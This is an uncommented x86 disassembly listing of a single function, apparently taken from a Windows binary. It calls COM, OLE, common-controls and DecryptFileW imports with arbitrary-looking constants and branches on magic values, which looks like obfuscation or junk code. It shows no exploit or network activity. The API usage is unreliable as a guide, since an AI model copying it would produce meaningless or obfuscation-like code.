mov ecx, dword [eax]
add ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
movsx eax, byte [0x42ab08]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 1], al
lea eax, [ebp - 0x12d0]
push eax
call dword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [ebp - 0x50c], eax
jmp 0x414eb8
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xc]
add edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
jmp 0x414edb
mov edx, dword [ebp - 0x80]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [section..data]
push edx
mov dl, byte [ebp - 3]
mov cl, byte [ebp - 1]
call fcn.00416350
nop
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x2c]
sub ecx, edx
movsx eax, word [ebp - 0xc]
movsx edx, word [ebp - 0x14]
add eax, edx
cmp ecx, eax
jge 0x414fa6
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x9c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
movzx eax, word [ebp - 0x20]
mov dword [ebp - 0xeac], eax
cmp dword [ebp - 0xeac], 0x2d
je 0x414f1e
jmp 0x414f75
lea ecx, [ebp - 0xb68]
push ecx
lea edx, [ebp - 0x11e4]
push edx
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x93c], eax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x64]
shr eax, cl
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0xe0]
or edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
push eax
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x48]
mov cx, word [ecx]
call fcn.00415de0
nop
jmp 0x414fa4
push 0x8b
lea edx, [ebp - 0x125c]
push edx
push 0x96
lea eax, [ebp - 0x6ac]
push eax
lea ecx, [ebp - 0xf1c]
push ecx
lea edx, [ebp - 1]
push edx
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0x2d4], eax
jmp 0x414fd5
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x68]
add ecx, dword [edx]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xa0]
mov eax, dword [eax]
sub eax, dword [edx]
cmp ecx, eax
je 0x414fd5
mov ecx, dword [ebp - 0xf8]
xor ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov al, byte [ebp - 1]
mov byte [ebp - 0xeb0], al
cmp byte [ebp - 0xeb0], 0x73
je 0x414fe9
jmp 0x414ff9
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [ebp - 0x3d0], eax
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x5c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x70]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov edx, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x8c]
call fcn.00415de0
nop
movzx ecx, word [ebp - 0xa4]
movzx edx, word [ebp - 0x4c]
or ecx, edx
mov word [ebp - 0x8c], cx
lea eax, [ebp - 0x125c]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x9c], eax
movzx ecx, byte [ebp - 2]
movzx edx, byte [ebp - 4]
xor ecx, edx
mov eax, dword [ebp - 0xd8]
mov byte [eax], cl
movzx ecx, byte [ebp - 1]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
mov dl, byte [ebp - 6]
mov eax, dword [ebp - 0x80]
mov cl, byte [eax]
call fcn.00416350
nop
jmp 0x415136
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
or edx, dword [ebp - 0xc0]
cmp eax, edx
jbe 0x4150b4
jmp 0x4150d9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x24]
cmp edx, eax
jg 0x4150d9
push 0xab
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x940], ecx
cmp dword [ebp - 0x940], 0x56e0d3f
je 0x4150fc
cmp dword [ebp - 0x940], 0x6139d283
je 0x415118
jmp 0x415136
lea edx, [ebp - 0xb4]
push edx
lea eax, [ebp - 0x11e4]
push eax
call dword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [ebp - 0x3d8], eax
jmp 0x415136
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xec]
add edx, dword [ecx]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
push edx
call fcn.00415860
add esp, 8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
sub ecx, dword [eax]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
add eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
movzx edx, byte [ebp - 1]
push edx
call fcn.00415bb0
nop
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
lea ecx, [ebp - 0x98]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
nop
jmp 0x41527f
movzx edx, word [ebp - 0x8c]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
movzx eax, word [ebp - 0xa4]
sub ecx, eax
cmp edx, ecx
jge 0x4151b8
jmp 0x4151dc
movsx ecx, word [ebp - 0x2c]
movsx edx, word [ebp - 0xc]
add ecx, edx
movsx eax, word [ebp - 0x14]
cmp ecx, eax
jle 0x4151dc
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], edx
mov edx, dword [ebp - 0x88]
mov al, byte [edx]
mov byte [ebp - 0xeb4], al
cmp byte [ebp - 0xeb4], 0x29
je 0x4151f5
jmp 0x41524a
mov ecx, dword [ebp - 0x68]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xa0]
mov dword [eax], edx
lea ecx, [ebp - 0x54]
push ecx
push fcn.00415bb0
mov edx, dword [ebp - 0x798]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x14]
push edx
call fcn.00416160
add esp, 4
jmp 0x41527f
lea eax, [ebp - 0x514]
push eax
push 0xc1
lea ecx, [ebp - 0x298]
push ecx
push 0x5e
push 0xf7
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x510]
push eax
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [ebp - 0x378], eax
movzx edx, word [ebp - 0xb4]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x80]
movsx eax, byte [ecx]
mov ecx, dword [ebp - 0x60]
movsx ecx, byte [ecx]
or eax, ecx
cmp edx, eax
jne 0x4152c0
movzx edx, byte [ebp - 1]
push edx
call fcn.00415bb0
nop
push 0xd7
mov eax, dword [ebp - 0x3d4]
push eax
call dword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [ebp - 0x6b0], eax
call fcn.004157f0
nop
jmp 0x415326
lea ecx, [ebp - 0x38]
push ecx
push 1
lea edx, [ebp - 0x64]
push edx
push 0x47
lea eax, [ebp - 3]
push eax
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x370]
push edx
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [ebp - 0x514], eax
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x50]
shl eax, cl
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xaec], edx
cmp dword [ebp - 0xaec], 0x2b1142aa
je 0x415349
cmp dword [ebp - 0xaec], 0x40d3ce87
je 0x415366
jmp 0x415378
push 0xb
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x3d0], eax
movzx eax, word [ebp - 0xc]
push eax
call fcn.00416570
add esp, 4
jmp 0x415378
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x40]
mov word [edx], cx
push 0x2b
call fcn.00416160
add esp, 4
mov eax, dword [ebp - 0xeb8]
pop esi
mov esp, ebp
pop ebp
ret 0x10